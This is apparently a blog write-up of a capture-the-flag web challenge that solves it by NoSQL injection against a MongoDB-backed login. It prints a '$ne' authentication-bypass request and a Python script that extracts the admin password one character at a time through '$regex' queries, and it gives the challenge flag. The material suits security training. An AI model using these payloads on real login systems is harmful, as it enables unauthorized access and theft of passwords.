This is a writeup for the Wild goose hunt challenge, part of the Hack the box's Cyberapocalypse CTF 2021, category Web.
Prompt
Outdated Alien technology has been found by the human resistance. The system might contain sensitive information that could be of use to us. Our experts are trying to find a way into the system. Can you help?
Recon
We're given source-code for a web-site, and a hosted version.
With a quick overview of the code we're given, we see that the site uses mongodb
as its database. Albeit slightly dumb, I didn't go into any more detail than this, and didn't check where the flag is actually hidden.
Attempting to log in
My initial idea was to simply log into the site, and see if that doesn't display the flag. So, I intercepted a login request with Burpsuite, and changed the POST request data to a classic mongo injection string,
POST /api/login HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: http://localhost:1337
Content-Length: 35
Connection: close
username[$ne]=foo&password[$ne]=bar
Which returns a login success message.
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 62
ETag: W/"3e-BvDyP4u8qgWgGOMxzemBf6QGSBc"
Date: Tue, 27 Apr 2021 17:31:15 GMT
Connection: close
{"logged":1,"message":"Login Successful, welcome back admin."}
But upon observing the login page of the site, we find nothing, but a welcome message.
So at this point, I just assumed that the flag is the password itself (which I would had already known, if I had checked the entrypoint.sh
script).
Solution
In order to correctly guess the password (and know what it is), we are going to once again use nosql injection, but this time we will use the [$regex] query for mongo.
- We send a POST request to
/api/login
using the usernameadmin
and a regex match query for the password with a random (printable) character. - If the login is successful, we assume that this character is indeed part of the password, so we add it to our flag, and try again with the next position in the password
- Simple as that, let's script it
import requests
import string
# Assumptions
# We suspect that the password is the flag
# the flag starts with "CBTH{"
# and ends with "}"
flag = "CHTB{"
url = "http://165.227.236.40:31535/api/login"
# Each time a login is successful, we should start the loop from the first character
startFromFirstChar = True
while startFromFirstChar:
startFromFirstChar = False
# avoiding characters like * . & +
for char in string.ascii_letters + string.digits + "!@#$%^()@_{}":
payload = flag + char
post_data = {'username': 'admin', 'password[$regex]': payload + ".*"}
r = requests.post(url, data=post_data)
# A correct password means we get "logged":1 in response
if ('"logged":1' in r.text):
print(payload)
startFromFirstChar = True
flag = payload
# Exit if "}" is at the end and we are logged in
if char == "}":
print("\nFlag: " + flag)
exit(0)
break
And so, we get our flag
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
Thank you for reading!
The information in this blog, as well as all the tools, apps and libraries I develop are currently open source.
I would love to keep it this way, and you can help!
You can buy me a coffee from here, which will go towards the next all-nighter I pull off!
Or you can support me and my code monthly over at Github Sponsors!
Thanks!